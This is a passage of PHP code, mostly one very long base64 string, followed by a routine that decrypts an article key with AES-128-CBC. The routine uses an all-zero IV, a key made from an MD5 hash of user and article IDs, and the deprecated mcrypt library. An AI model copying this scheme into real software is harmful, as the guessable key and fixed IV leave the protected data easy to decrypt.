J56hBu7fHcDCKfA8Z99O1fSn6kKGj73VVxAdjsoelQxh+tsizq5ZUOAtPtpfRdl3crHKbrNjGa4MVGXEdkw6SovNEAqWir3kQOuCI0mDYF+ddlxVT6KmGsCncprNWpIDFLxLix5zRBAbyeWo2KZh12MdrWz\\/2mQTAq1Ymq\\/pCBFM1EebA8YKzoXJ1et2oZEOcEeLp1jt8+rA3WNSKoL0RuCUMnodEef9YbNji8hTxBjYD3J9ioPPwfNlPeKRCC7IDmBa\\/vymT1ZXywkrCoKhA6kPa81Vt6LoHxXKrz04bKKT9lGofqHNBT8EktV\\/lsTTHKv1CHRtzLUwZGjnRJijegyUl4AProd2pX2S5rSNdmaH7P2htWlR5RMISt70iDL0rorUYnD5JKMZX3XXVZ3wi7wxLY5Iv9KIMLnQ2S6\\/tE77NHuN9VlDhJ5inwcV8NXw9LP4Aqtn5dDoO1PL0vsviu14Q4B75e\\/y9SNRMZqXFGYj7JzxVtAAbkdoeYX\\/9QnZQmoQFoaX8B8ptz2MGSoE44npkAB0x9kcp4tuGDIv8XyEE6OkpyYrz5fObZrdWpI2OgeB\\/oSwpYglpgkG\\/igCxum\\/fDcP\\/ibsBxEg3d\\/iKnZ+P8YtdvAM15jaIXDOGLkFjh0R\\/nNVVetot+x9w7b4DnALGXKegfEM4Luzln2WYFD4bjL13nZ\\/SCSY0YAPbHIt88eR2cu5bEOZuTZyIy+TaiOifPvSdDRO0HjfliX\\/Xhq4jYNRt3nUze\\/EFeyneQ8ZVF\\/0SSvYERlC3GaUgMVcu+OrYlKFOR1qiDQxW46+yr8ODbX8zLdfFIjcelT4NWqffD7F7TX2IHs6y+dFsoCSaFfGd9UEx2m6KFDLiMdWum1lYhcmgIsRjrcirSlUrBAh3201I8xLS8N+Kyyx5xCmO0C\\/+lnATHlyRByuE7Q9WCy9mOzmyVIM8tqKJsKyCpWua0nMvGmVj7yMMyBKhnZUMQRbU\\/Ysds5Zr9NrE7jyCtL7dZgZdL5T0o3zimC2KVaIdOgTXDjAabVe9esWKhNaa0xMQFPTiFH5btLhwzRqcG0waK6+vo1ctIrqjQ1cD0vlXlt+4ZsIxs+Iy8n7r8Awr7RsM\\/qWz09m4IbBTk7WV\\/qiw+O+sAXdZ0iXE4CS7Xhq2Ymca1zzz\\/\\/vC34THL2gH+LO+6ttXi7mM\\/Udbc1RfxOKndU75bymmvR7Ml8vk61d7srDvgSOMALJ2RwqlCdiXzN0XOJ1KGZIb9Em81Qz0wDoPmE2CI9zTYnRfITulZD4nqvhEt8l6eSPJCtNq90yvLbE\\/hwRpVsYlfpy1z8SaWNTEy3sJPHfdN6PAWft3AlTsstK56d14ghUrIf3lZ66U8ZHG\\/LQZox+tU4ubsneko4P4LvT4IjZUAifKup6D4ueflfcCc\\/VfNcDewOn7XyRDHFnEp6NlDSxd9E7AAf+tfpCOU+pfAn27b4IalLInWB2I\\/PSCMgABpDsZ2li\\/IvSuEUrYedQuOjR3VyHtogGiCNVnNgr3QSnzeyx4tqJ660mJn6\\/83KVwYRpp9Jbnx4aBOpMAcOt\\/8W3Aizy11fYYAZ3AE\\/7UEZF9ZHQji4rS+xZHgFXX5VvkhS34O8uTvu1DK8MAJ+5jo4B0xjvWNEfVaVMjbwnqwgoClOt9091JJ\\/S\\/2I07N5yswwx0Wu16i9cf+V34ldHsWvHQczqw9I5jqmnSci3QaylhlNCqg3B0ca0Mg7apH0xHZxPsgYsbvd77L3rTLawqDulR3meohsbfYEuJLTvRS\\/s+yLP0mOy\\/FzTqIb\\/r8lqdweMy92cGj5wy+L\\/BmNRQFKTaNTpqoFSnSOALFQml3Q+Tc5wW47y7w7T6Ch\\/lF0sHK+tr5IHszHYvgHfhOlOmHNRMOsg\\/Mbb4clAxa4UkJO4MgLNQVe66OAqCrEOXDXCiz2Sb\\/JY4myUtdlMzEVvHUKvxuggYnDY6QaY3QEEqXZntSqZQlsHRWRrkzyqCz\\/N0r3u\\/GHDmvDjOPDih6lf8DjVptOBC0M7TDdOiShkhnd5exdFiSJq1T8OY3AfUfpKge4XChlyhYI3Hdk1zGz8Gdnv4MigTfOaGqXC0sINTX\\/utTtktqo55i4rU2HBJl931T1nXLz8oHXrqKXXxS5z+HNn0DaQSiG1xuTpiR5PzJ6seTwB0oDIuznBv95btYoZSMjXbhLfFYetsg8YxY9+XnAmaTVjI3w8ztOpmGgc7tX\\/B4MW80MlOjj+21xeS7qSyjtWtjx3pyoGnVENOAAYWaGVwSPKaRon8f0mm54DpR3PBjhDQTNeOEed3JLXgEi\\/BLUqEKCgGdOAko95lim+6lwRBEht7ggCJ5HOO5D+eF7qjP0kb9HWPUD+En+tt\\/OHzgijLHHsP6imggE7YpKhEUQ2senGkXj7i32mRP8pIwF42JG+EJzJYtyHr1i46SQwEyfAlg4tyRIfDqAEPVMCKsNaNG+8vvl1lIWKkHy9AIsCStjihIghdO4POgd6FMn\\/flEG8DvyrC7N3l38F\\/HGcqBDSo+6DNPzzwgyX\\/\\/wkj3AJfyXxAFNmsd5kO+CooBp7tHMs8NizPa\\/+o6HMOUI5zcPB4bMWM79M7MMnBNvBEUBwOTOPXwAN3+\\/vlYqXM1gS4uEBnhDjWwIapzbbPWfLirnfJEg4k0H7hF\\/o\\/YDS\\/o+ZJ32kX2+i\\/D1ROf9QZOD5LIqxuk2gn4VZh9C5prF4cjXfavUWCGgiOfbVFVaaYZIuk2dZfFojl8As1907bXjJoNzPPtHV541JmUNpGXDh7TwAhlAyv3iJpqvnO4ehlgwD5+YswNCOtsdiCrBQROvrfXvs9moS4aWaOHEZWmfBaI9e+5U13CnUq6o9xBWvsVoXElvh4Xf4uLkIh7LeJ4Zx9Itvvft4GiozLKd3wvAO9X8R9X6PpSSv0XLyfYP5EjplanyS1YMG5YGl9l7ATv6Gd\\/1VcLQ1ECq1424\\/5jZIkL28QB1+Ak0RMS6xaLnzdjmq5+6pe0D3eEsiQOKa0+ouJQg6wTrGd7dWrIh4\\/OIHlPK4MsQfrwASsLT06cUH5hjSLpUURapKdNBIcjFq07gH2JotghdFZ8kpi8qnVIw8sw1YEmjxrYML5NmJ28F+20xlGhFCcBD5R4Y2qlGy4r465rfslB+IyddTbK28BGBE4+whqT2McoeHweqLoz+jzKZV1UtmuHK1BH4PI8t5B1claQfZv54Ta6HAh5iYft3VpHubZtqZZKETpWlJD9x87VaZD4HR56o6\\/E52VFJftQy7cN1Vs0e+GC8fGnzfFtN9KkTX1KJRPGYJ\\/4miG375xeesULwmKXP\\/f4FYM8ImB7f\\/sLpFPOtFBS2IOvkIxJp1pMynPYB4itK4lOJGwVEmPVkGvbituQwuXvwK725hXWAqO8wL7rFa9EU7yDKjKG2rUXbipvZH8fIuB\\/bzyrsPbZv8jNTs8ca\\/aW9iI7g5BAxwapHCW0tSPi\\/LLbX9CSBzd3J26E676n8fRQue19tbYON5dzJXf+8JVq08IWDiTw5K1mWLy5G4CsMAcPEPZSIJv+HmdAEuNtpuhyXOSNy2NhbargMXQZxquxnV\\/APw8vqkHcb0BOu3nXExUdqV6pBMd5ld\\/1naBVgVhMS\\/p5aFAruikPVDAnX+QQoM0HYbhPvKswk5Ka0TzQD4RZQtvBmr7SaO+a7tDxEF8YfEUZkMdmSwMSm81UQXrETCTnHuxAS1J5szTpQx2bO+St6O8\\/cQ1MJl\\/g5EG+WK7Prkth1GLItI0a\\/C\\/VhtfjVPiTfnuGmrDzoMoKyDXQtUa+OYZRJhMG4z57OarOtlN9fB1OJiWf\\/K2S4AYX4UmmOr7+uKFrZ5MXxxeUgCX4fhe9kBLjHr2WgUiv0NJZqZJ1cEbEZ20qInyqlpfvlNa02\\/ehrdxcDP7QjOmJjT\\/iSduWKTb4OPfZHpTsikTfkiirr5mUdbunFmQ4I6yELeuFjiLvmCIYTC2PAOU4\\/WfypPH0EgvDl4ggAPL2jy+Jsq49OBSYLuteOdSzq07OuYaTs\\/vOuuKQztMLnMbPL8HlW5cNSC3UANW38aoAf3F3g94bZnesy8CTpT4rL2Re6\\/8BHZbEOmhpy0PgtkJTPT2W5h2ReFSwOaHqkJuoz8sOpUa1yzE176PY9e9B+nmnPcId\\/ykFFGvcVB7c6rdGHp2uwWRLHSFkh3wor9AqG2fD4tWeuipzsxbb7JEQD1Ha+RwJ4Ur9txdkbdfLb0gtWFiWfu39gAQdlqwq0adO1Rp278YBaefJrw44uxnMBnjlBytxUOz6yoSHD\\/1dF7iMtL3iUKKW\\/DCiTnD\\/SLl1m+Zkb+sLhDNRw1Ux+MsCYOGqrK7WjWWKyctkEizVuDRdbMmITYwtIeaVJgUhu+d+fCiO3UCXznryICO2e861tndPqgAu5zNCTGyZz\\/LsMnhF5XhVHPFCsMBeukrMfYWdlcvjHa+b9qKAeiFdQnR7Y0leGVNgaJiDFob6vNPTa4mNgWt8h3Kh597vS3d6AbTG2cOotnTGxVKFd6vcXIijuukpXtDQJluyJf0B7ymMg9mL67TCj9\\/vhFhQeCzoKZYfdlINAoOe6xU5SGFbYGysj6vw942su3gr4q2R\\/nhGNHKoE5JyOOtO65bhUQ5xfI55Rkrg6zZkEvAEBhvPeqxqd2Bh0fbuUTGDvcAuM+ACQrWxXlkSXurbjhBqrrGcVRzF\\/VTA17NvxpmzgicmyFlhySrrO5JxTEAVfnz6JzkL\\/gA+0wC7X3mTAImVm3EBgKnp1YiBLAsOlAYV0QAOUH+JLjR5rVytIz\\/3pUx\\/QRb7Xzs4pHNx7r4SB5D8cbbrj48pWJ4OURSmnYCXihpELbFfXICUZY0HF4a2XZgiow8pDbmj7v3leepVr813XsTc1A3r0IXhMR+ZXOePAuDqN63IdI0e+5ezh80H\\/6YHUCA9oEfSuIiAq0lLbc9yz8gPfgcCdG5yiUChkNJ52kxemDSrS4XXS6Q6E3OQnk3UpFVr0IIpCYY\\/khUTIw\\/UGYOL7UVhRZfrxvahWBcLu7Qw5oHbn1FAP\\/0wfuHFTtbtQ2RgblaniugFw0eatwys9EknlGhoCLNHCUt32Lrn2XbAT1iSsoD0DKwIiWuv+6Ga2N4KZa3BM8s4JmywezCyoDPnNWJLQa0k2xaZRtqU8x3ovfdvM2hrXZR2yZ4H9C+JjbVrndx\\/3vNPXfbi4Y8EiWzPQOK6iLIbXPaxJ659cuUI6yANJXhLe7L5wKAADX5OGXG8RscKCCuoe9WSllUp6YMfOObx07+MVk+n7taKjht6I85\\/Es8Vq9aVZfXS9mmPin3h6Jf+km46PcvndCT7o68RrKu18K31mBm6tcIFViXikSsD0q0N4EPnIgHdiIoJnIBy9+xVzFNhrqmCw1ugR2nXNKzQqi\\/vqhoaUVkwro7pe2gol0kxCNMMaGMlMSnUUGQT2ME0y5HM7Pbt64u\\/O+k5OWr+vubqBWcTDBBuLRE72eKEUteN88pLiaOzYz\\/Ahp1Vk0EdmAQL7JiGpsaWL3GPSzz46vqHvTiRL3R5bCJGF3K3JnOr7kW7LmTICIkEb7ivqS3nwENIOIPihHVQRpaHHACTwkAXCHh9ObtsPSF4umBC3WVGvUY1WLb8iZTIFn54vVtmng8pYGKPE1M86OsFmExqylvIY2MjG8g+JzsjdBbJulCRfr88aQ8ywXTx4NcaHN\\/UI2QylUC\\/uqHwekZFSzxiUnH5tgAURT2CdduDcqwytGlbiJc02978xCQb4VorC9S7G+Idn2aYh+Dc0Lulnseo7UNiROEAEpaFwP2Y3Sl6tjYMsGKAAa5q9xQNlHewQEz4pGGSXVRhUsWvuREooWvcFLswooqDUuOsk7ZVu6HeBKQBEB982MetyS1\\/7ASXxxf7yS3R6MYYVC3dpaLLMMimm\\/YSyVNDcEBGU7aoPmZfAiAa0+yidvZGgYgZe2Dv1XBnsm+0zfrL6to5vfWzRR5kZx6159JwbRRBYF3+SJxhobb4igBUfgH\\/2wa1MchJVP4m7WMn2UDM3MjKxrhlLyRpasE8lXEwcQ4gFc2hpu6py5M1ID4gy1NZe2r0aAvvrAJ4rd6ixT+zCKhjkyNS7ELV4r+RCHNgkdIv74P75JzJw7Mfiycrbuh6OD9b157X4156FZeORF7efn6Hasr26JfZc\\/hwlmufWpDoc14+X\\/auPp2wIn2qc8UE6UJZKgFE\\/q7LFSu4OJ316vaXLbNbiVoKfR82cfhVE+Jn9sCKxGrOr3IBDhMRZT+GcIHVjCVpNwPKGVp+0Ap4fYwkoUbRAnhYK1\\/xvfNDBNMJMrwIQP0kq+cBHqoIKZae479xZ3yjRievuZxEh254LwCkLs2P7DlK82Ve4QXi0UXemFcwVWUoiMQMtfx92OconfvyoAfck\\/RTB5f8fs\\/tb2yXsGtcSUZ2\\/cf9VKys6uZ5jL5ZEeH55E8\\/5m5PkSxe3u93E9Ys2G0qzoBpNgtmC3PVsMAcP01x\\/9vs80TY\\/0XHs0N2qYdPvRSYAkwSSpkBQEyFTeiclQPdgfqUpGfBgE4sz8LfRgV2jjOeOT91gE6RSK6ziFvMnEghiKiv7+UopGFVIiEe6RcPwhNmW0NddknHtM4jZWxiwh5hRU2l3l5RlF28BVcaPyFp2CSo8d+ZCMcEp\\/mnwPRIiM3GnyaDEKEK7j7Pqe1W2ywO1plOODvKQnihzx\\/1LRHNjZuR1uQcd4cQWEjkgZVuWi5+d3YjsHbZxBhnFVcttOGh4yEqlkaJzniX5vFTT9rUkrBu84N7Mp9AurQjZP0qPPyko6KVw6uF3fvdiiTb+K\\/F1RNciNI1q8FbnV0IjxQUcApBWwcYQdHAQImQKL0lzhpXHdev5tXLqv6YhO\\/JdAtIeQa0hKY69Ws1\\/lhiUGkBv14Zv6PrnVAnhNG7xE57+0X9DuaGiscj+yclXztBxcHHgpQ32VDJiu64gFE9ZG6+N8ogqJvNNuz\\/zAo4aQsxYoS1D2JjSJ1txOpkEWWgxjmBU25b61iZErClX7CgiOUCxcTbT+6R8ZWQAtN8lSLWk258VWuKa5XwEZUt1fWsVpndjQvr7ZDcLdPaxPlN1KvvcEwwKtbMx8SA7lvgtX+RnlEa9TFh\\/Dm9M1dcP\\/UQXMi0YZWYDMZl1gpxqGYr84xhcsmkVUhZQL4IKoHbUTPz4oHQqLqaAKqJ7utE4z2eUZDpHpPl8cy\\/vVTwt07oh1Jxnf5SmrMJza1C+YNTVd0EDAHbiricdHCGLWfXFxRAg8j+u+R9\\/gz5EX8QN+96LAFmqpGBv2MHaxPrOjDgNJSoDiQ7Zlcm\\/TkmtP0k4vV8gPdca\\/VIrHPOrLeSEn0TR1g5k7q5eK8LVxEoqpMOvx8LkJgoBsPMV8gD3BvCYiz+9j+afnsZRvb3PdfMC8r9OzAyGeIAwJxgcbB5NCajQRL2ZD4wfyT3gQ5IFDwSKWpUb9PwTb4a5\\/TN1E1XoF+V08NmqNlhc4ctf80uMI5oBJLw4upqDKQ2Bwx9Tap62iOCcdRnf7IwzWeHG5AuiVH5btTA7fE83FRIPIBafZt+p425doUTA6pI4HnUicycBnfpJkmKik6o0WbgyRQVcN45yVM39B0XIWXHaPqp3EJZczVH+9FrKbQXTHEalDFILOn46hnexT+z6Am5f3\\/9s+Wrdgvw2IdsvL317r1tAfvR0UuGp2g7OG4TM9DYS9fh\\/A8+8R\\/bB2LkNrmH5J9q7f3o\\/0Venaqj8b217E1KcIXTyONkw8qLkHqf0SMdvfir0V0ItyDIwEzPafaXiinHKTPJuXU41YIeVrR3iLB8p8tAgZiJKx9qXa08AZprFf0NnMPv12f832WOYEIgGWPPC2PYozP82vHe3dUeQVMAaP\\/3TFFiIr6qee1P1qxMsD2eJwCQbvQxC+0AKhzAQQdiitrjnyZkfNVYpgz254g9hoLsRRUOLloCQQ0mSW6o\\/Ynyyx6VADtBftcHpFIJupys4mu82Uoz1FWflvAqg\\/LTGa9Aeyxp952a6YUADect8w95fQuTBuUSRt80wyTKIzCfLzLmJUgfZmgzkpqHIRg\\/b5syO67ek9qnOq8xl2\\/eYzNXprx7NHn9cwRIRTi40wXkUQpbkw\\/Jx+i9IgqTFV+5CY8VpWws0EaNzn601NZ0MqL8Q9ZXdCDR6IHKeuQskTohY2VFmNkLpVaGaogaxgewaMJVfUaJbp3x7sUBwNSMgIEA\\/DzWJVR1\\/OHC8YYrwTCMaHkBdZj6YpwS2K4+tlrv2xICz4fORRTVc4TIoPaq7jDcEnocmVLyioDrFnbrd8ZAMhvD0s8662zq6rP5yUB98I\\/rSHkdP67SDkq1LzulLpGLE6mDw2R2bo\\/Fq7WyKvWjOZdXufY61oL\\/3M9USPNzI7AHe5flEmaKr\\/EWYMsGvDKIYee58MfPYB4uXhrpBIHHiJDuQsUBdYD5v+rV+FxO++Raw8+amYhR7gZjjSm6VQYotscZyBtDnNxac03BuVaGO0Xfg\\/ddFlEX6Whjp0iF2JJajkD0kexHG3zVulHmTPqQO1mIuwx2sWM\\/t8mBQg0eT+\\/ve4oQDzE9zoT2GeBfYXSKYwVqOQ7N\\/vNe81znysUzd0J3B1fjdbsHkfNnrtfNpQwd2o86mhQWkarlImduJOHXKikWEcuYM7cpDv8ZFPynAV5xwiTq8DN9geugfdD7KDg7sfjnf1O7Oyjej+qXk7J4aCauflv\\/hKiNgU6BsfglYncTIU9Oq\\/HddaCUzf7Sn+fi3uLJqxp0LxwbCrzdtYrhPiABaIhAz2zg+CN7hAZSbAQPgeVJhGRTxF16OOl3UkG1oNqIJZSSqrTdYwfRCCt\\/pegTGJzn3BzwdglTbuM7Lu0q6cXasipjmt1gUlq\\/p4g1BKAYb\\/WsQSbyIbbSbC50NVgxX7p9mShNVFSHmlYbo5+j67dz05OuzZrvDe9Hed5Sn4PFZJpWji8ae3Wb0zBB5seTVg9pJa\\/Ni675pXgVbTuIeH43nlOD7xkbti0+l7Xfi86Vm\\/0JQm\\/QRsQh6Eiso7xhCYfaIxrFfYpeU11nunC7wat1I5nekDcNRN0xOa7VYsq5xG7A8gz1wen8csroH2Fh0lJIvzYgNdLKzJjuRF0KuVaW3U8JQK90aAFeXeYDn1uFLUIYxSt7A\\/qezUBeWfF3dh0Z0Fbfv0MUw3NlpekV+wdTGZEDz7oWWCg08g1fGcg\\/LSeKSrPymXJ9B2QF9bW76e3MYnXEmqtpX0M72LUVbbgFIIok7SNjpmGNusbl6GpBhNrFS0Cyo13DJd18jgyMmI+8zmMN0qbNnB9kUQ2RO1xAXMCrY1x30hpTtmiPh5UsJPnEbGnZtuJRbRIdbvJOVyoAGTy34Hxyz69h2JgfthxAztr4fpUQAl6AnQ6N0s53XmhPASDt+JaFlWQ1oGSB+lXgYeymzUjI4EAl0Ar+9FOFaU7EKq4QrGf3Mun5tceFhDNtd6QFZZMAQpYA5HUN+ai0CJDwHDIFv7Py2n6duXE25XNrpVJXCAlxslvMYQ3GkUIhCTY4AgINhgmBH5nxHCe4Gy5J8Ipu1SSjDdEoB4zs9OqYzNELslVOxTnUrfRbgPnftuy0xmhBtZzfIQaVybZkkcIY6aMdWdhdWN8TjbKpKD8hxc7ZpNAlhCH\\/Xhkm5uSzVOc9dAIvfEDCJwp5lNrYMFdE8ipW6E5fuAFAKYoV4xxL48MLY4jBw7Wz0\\/6POXxfG6ZD28xqOZMPTW6tTTobLWbpriY7KYeXlv8WgGmE51wrKaRc0WM4vNAK4RRnNAvncfmgLwBBNwpBPVfCPAcMrQ8jRuL5U\\/HxwpWMqQqfMWgubG8VXwcohwocmxZNA1ZApMNjQPfPiqkoOzYAqyi+OB958\\/YVtSPVp\\/89bKZIOC3sjl4t95P6AzQSpOmQ4aXecZrD75OyY6so3dBQqcCvcvzRTUj+jVflnSVLlE3Kej8UjrZPiZSz9eNbdKwuUUs9uzqsOUuXzr99+LwwcuHiH4QMw11lCKtpcgx75hq7kV7MMcnWYCprzDqCjiMDqj+hVPERmnxAS79WRA0a6GXMJsHcvzLJ8lMIWdpOQp6UU\\/xSULWrJgHFAwfYgJ8Y1W07B6V83W1ei5mHLLidWDiPqwg6hJBp27u2esv8kZoKnAubA1lSPdXwe549kS58mTVk0pxdEnJqqYRFDtap3u\\/CMdp95AdJfiylwagkauXw+y9\\/3Wz5OzHDI31T5\\/37L\\/orxK9d0RDW5H5m\\/qPfbND\\/se1x3g0Gw6c2K\\/21FLvN2K6t7boiiyfMmg2Qn\\/Qfh6LVJKvesWkMPhpfo9AIX10Q86taIHbs53H\\/vooR0rRoKaSQ5Vt5j8eL+jwAPyMhru+mujQVUNyehwCjKidoWfuHyUKLUTb\\/vUX6ANcuLAhZVJuM1fioHLbmF5F4X1FLvFI3cL9L0688cO6eMRTRcJu\\/ZB5KwRh1bLiq0zY0Hwr+B61PzFonJYzy5Ry\\/RHgCAAxzOWYiIuGfUkixaRG8SqBo9ilKrhCUrCGXkkozYeZ8IIkeWkxvEbXQltY3fVFTT0buKQfwNflso8urGlqbxU4cSWL6Gbhcauao78EzBCOHlLTfMVAyHPtiCzBt54GghBFyNvL8RIJj+rUAvfaG+0PYD+\\/66dZgQGTnKpsNax1WXWbAffiZQ75lBqcv0yBdt4CONzqbnsZp8M9K21DDBhMTvubP83itc0BIIC2BSkwkwOB4Ye1p\\/5jwXYwAUdumlNPhBgEt+NQDRhb2qVe4K\\/0T8OwPadpPOmjMONtP2CvS1ncj05gS1GNcdO5WaZZ9fvT5MHdXPBVE7RiIQe1Gq0beBZ4KG5S25C6H9i4qbTDBWpranDZZpb+\\/KdSiFEvMyG8lGxfbSKFi2fmj1FFkMddiPUkXsPgtSFqWEASUWo2cof33e94HeTwuJqHLrh3EiYIad8FUCdr0H9qBDmmhC5J1pGMhk9cPFXlN2EcJQoDm4oq3dPuVn8Y\\/v5ZgI8268XAnwjSrVwosqSDskVHwariNG0tEyP+BJi8RwAXmn\\/kB8Pb5hTDgHrt5eRYCjoEqSwLxPI5T3LPfQ\\/rvuq9pap+dGGlzSsI\\/UvZe8Q3rC98s+tQo3unf36X3wYNlZMPN83rlVXFMZ64kMwdBGITUObNaKSg5I34ChBK\\/+cJ1pheVNfR\\/Dqr11x3jTcdMfsuuURy0LaaCPyJthBvd3GtS6eyy9RpDRt9877yrlvCMdljcGOkwFFkY1cHTva1GNdcNEL7lWCWy0kZ\\/BJbqIfcHxrNv\\/PmS\\/5qlVT\\/zD7zgjhPIo2sKoaoJ9e4llxEKRml8NNJZeU\\/oSeXr5IRqIxjzUr4TdxPuP9tMSq8O78nryi1n0fyVsHIhLPdC6ptmY0af2P\\/XjsPmL8BHk3vWwOsl54x8eZTe2KCYrSQy5mZmBaZQ4iOfUeOqlhX4CqUKLmXdtUTif3XiQP\\/qP1c\\/mCPplNcecWQYLRaPTSRPzNljUWUR36LW5s3Wce\\/GaZ+PaJGNStz1\\/A+\\/JPptzMyCIVvmeyLQD8U+TvLAB0IdU8bJxPadzOlq2bVY8gkU0fp4nYB5SNJSE85kRLMZM5IJmlAVDs3SVx38xl02ytdjIUp8hHEHUlchXXhpYeXQZ9NgFPnNpDc3UDHuzO71CD\\/WrJfz71PnlWgP+8NsW5nxPKoL8RXaxTPI9gerLg9rOWSsxo2NJnmDn0LTLI9F3k557r\\/1LLk3t8q8WBx9bCz4pyuBZFB88nwP3wclsTe2pueNGvYYFVX2Y+LzEaZJyvS3NWzYNWd7ERw77X8bZW3F2CfSx+fnOjpNb\\/qzyJM4\\/I8j2LPeH5JUSTsoFdSqqXB6xrDntxoUyXUepWeCLBMiQFI8EVn687W6plMoCTwR82GSNInhJnS2tUh97X8c5\\/1oGaEw3gHnawmeJfSvA7FMTBj3yLVk0tNWIEjey9PjZkT78v5kfB8XImCwN0ETJ48nGgDYgGq1rSbY9KNqy2f71hhGcLuQXNBLABbKkz\\/RogLNKrlayM68mkkujSYdXcMa0RAQH4MRFpRK9LL8xq7wbYv6tfDdS3GvlILN2iA9wLxddv0sybkEWVYkuHTIZ9r2SZn2w2iBJ4VZOHI6SAOVLg+TwORjzRdApNWqdGiKNv3oGv2otL3Ab8B3SZsW7lKtQTZplklkn9jfuHatQ3XBUDF9S2dgNErlQ6SpLfYEtbq084xcCoKmwTM0xIMCLIT0JQ+9dPTWP\\/f0KbQWNRiR67ZGTnREWUyO3yHZysC07\\/uqZAayS82A79I3ZVD3TxV933R0Whqa3nudRVdkzYVTrNia8nSw\\/aUU5upNtHC81MzuGLE1M9PNd0\\/B4GRzKqTGdR54PPNVogt41m9Y8H0X0B74mabk7tya6XTUZoTZcC++WjXeSZv+DM4p9VjQjNfYmiJQAQlw95jSZL7f74Mupb58FC6U93oQ1XbKQST1J7FI453Nepn1gqMaIIajhf6SXQLGfbPMFtAZzZZ40a2u72OgDfFmh1eApg2zsl5Vu81fPLA8H947GsPXqDRhMc+P2pS+X5MFILk5hkTv+JMkXuryuAdIcbtPNJAOTEmtdQpi9M7PN8JvBqTkAO1Oum\\/lr8ZmdMRQAX6pBvdoSliKyr2q2ztO0WLLByD6h0axYSVT9rzjUsryRBrKqe9gAWX4HRzn8pBovZQ1nsbl4KlazJ+O9tKbS6CC5XPPb6tn7xtvIgqKn38mFZ34KLi66uRtflXTVQRmiLu2HFxK4jkuFOqM3xlVZilcDMqxazCaz2WfHJdNAH+O2m8rzIBmjMvUbI4D+XuTDIrKZDH4VJSCC30J9uhXSo2+fiNVa9QUKf2Jo93s3qlNfo2HROObL\\/zrX1ecwKxim0T1ZdQUQA\\/VLYh7+IbBJcljW\\/CFCFdL1Y6LVO8Iu6yClR\\/MCWVeXQMxd0k9b5gwhZH\\/eqvLqzGq1N6ZDVyf969Aiyd\\/9TgpHga1HH+XQdasDOwaZlSWyKPJfpuXOo1caeMen793SZt2a+ZpIUn+ooGyHfkuPCp7n2iSgWqbN9fJ6RALHB9EZyC33QUxY6a0xK+AOHohEtvKxZQCRKc9hJgWOt\\/Euz7JrUyAI1UzHgR+61m4M0JMJ+y4r5g0qsvqjTzhirD\\/q0vWDgw8V4XQGyVqQmH5PYOAkf5FsqpEZD1Cn0eFhAIoV2HT8EAnf6+SNJ\\/o2637er2sbsd5zHPp2zu+SLA43VAM\\/kN7rbuueyYRg8YJsWebS3Tunu4x2IK1i\\/tt4XZrg6yJnRnvNOrQTLPnWpiexXMRJcLrAVMPIjPeZ4wNFI2ZUO7OsUFwu+GTpOWMCU+5keyyEf\\/6gYDQ\\/UTy\\/C9Q97pEn4heCp2gRCEwHbl+mTWBbXjFss1\\/7dHDgfmOdVVMjMJV6CeMjifYLYomDg7vluX9ecak6KrlwdEtRSlNF249EMgAPS3kYjetrvjl\\/KW0F5xZmJ\\/ZR7p+9IViMIdwUfM42QIDxJqmttSETcwMB2vEvuv9GKZeauAL3JmL54Gb86T6foxOpCEvdJHvNZoml3yp0S8w0Ve1HF2K\\/miMDYEzyS9Wat+w0dRcuUYRCWcadv5Zqoq9WIXp99F7\\/HLOML9VyGCKB93CmTUFpSgbZ4wa\\/rFSX0UtanmBDLsdsVyZAASaVR5K08Cs4AZmx1fOhG2oubxbwp7l1y25LYtZA5ql6\\/Z3MSfuqFwMrlceYDkw1hugp\\/Mc+Z3ICr+l5rI\\/lZ+drkdcF5SwqTTwIN008sGygkn9YPUsSZDRCfGpn29tnbkFcn2l5plXzTx1zu2LVf2YSTREgQz\\/q9jHlgpVeowuolbBOe0segWPi3DXNB+Ahl9XXVMpSVMTdWmMLeclc2Rd2NDTxhZNVYBYLwcQIWlRYaXJShqMsZ2rklX8Nv\\/lTWn7wKEHDSgDPxKznnnlfECHfc4yfLdkL0ep74shlt3zGPCd5XeW\\/g0Q\\/GvWfGXF42fz93jbNENw3iu74p3pdSAM7xu8a2YBr\\/r7iKgg1P\\/wJRxWKtMa3QZaNOfdCeRdzGwaKQKcL07ySz48m0BAl2PSEA62j8EBX208I233YtOIjx+6BWKhjRo79ydHuXpQn+COI8ej5FVR7sNixpOTC1Kl2vwtQpCQFo\\/562idnq0lkOaRmxQm4FCuNPwGnBo2M8zZPeofDftl\\/zyisbj8FCGmpcVx9Cqo\\/3irSV3hJIUu+b6Im5TSG5oRygl3+5tTcjmfN4A7JUThTyM970eIQtSwPIYCg5TpQk9xk6tpWGNukSx\\/slL4PxXP93w1q5IdJtEKuia20Ui\\/H7Tmt8J4xFsz8sUMtaq3sNpUwI28CpRD90pqLQH+Xw6HfZmxFwoe05sV2uO34Hmon9jVu0zLkkd28CXYHoadzBsXmyfMYt2qQeAQo2ypHnSFVI20YmSoZqt2uyJluvc+cI\\/ozd00EA0BDnulIGVsOKuYiXEuclVc4gNT9h9pCgKvgtdBwInrCCqmvbD6qYAHNsOnPIKUUOWGsq1\\/UB+IDUGgX6I6Jr9l7CAFqpa40EdTbBhIiZQDc4P3auHZ+mWyPChUJrxRXnUNnxGf193Bf38wVGERNn3Auv5By\\/1FSQpphe6Nolq7aB5v3r0WTczz180xrc9Kwg36Ok1wJ5OxIdKmf9Tw9MI5XRsNVWkUYbRofLW0pKlV2BTbYre7Tf3egGtyAnhawaPV4OptAWDebzQV1Rzka8NqRJDT1tJF79rLH6j5wzFOps+DU5errUdyhfknT\\/MvgikWEXyg9k\\/HiTto+Cug28ltuFnMIJYJOY8C3jiNmzTPSNECqxK12LZAFzVjtu6pkhoVxfN3kIQw\\/+T00yuO6oN\\/cJLq6b5YieQYFSKTSHNJ2hvxW2JhD\\/NSgmtzKMYUk+t34RYS0hQUHiVKK\\/OE2t2WqjX5jC3d1+lcEjGC1\\/5xXrW3pg87VjKytzAaNb3XsNnsayup4SnmNpsmA=='; $iv = '00000000000000000000000000000000'; function decode($text) { $pad = ord(substr($text, -1)); if ($pad < 1 || $pad > 32) { $pad = 0; } return substr($text, 0, strlen($text) - $pad); } function hexToStr($hex) { $string = ''; for ($i = 0; $i < strlen($hex) - 1; $i += 2) { $string .= chr(hexdec($hex[$i] . $hex[$i + 1])); } return $string; } $original_key = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, substr(md5('i_' . $uid . '_' . $article_id), 0, 16), base64_decode($get_key), MCRYPT_MODE_CBC, hexToStr($iv)); 